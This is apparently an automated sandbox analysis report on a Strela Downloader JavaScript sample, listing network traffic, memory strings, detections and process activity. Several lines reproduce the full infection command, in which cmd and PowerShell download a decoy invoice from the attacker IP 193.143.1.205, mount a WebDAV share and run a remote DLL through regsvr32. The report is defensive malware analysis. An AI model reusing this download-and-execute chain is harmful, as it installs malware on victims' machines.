HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1466364246.0000024220A7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1536198822.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535017460.00000235AA3AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1536198822.00000235AA3AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1536073106.00000235AA358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0h8
Source: net.exe, 00000007.00000003.1535510148.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1536198822.00000235AA38B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.1536073106.00000235AA358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s9
Source: svchost.exe, 00000009.00000002.2745347215.0000018942411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1535899153.0000018942600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2920, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 741645402364914803.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qvup4uc.ikp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1612,i,7951175835840154469,9562275575992550247,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1612,i,7951175835840154469,9562275575992550247,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
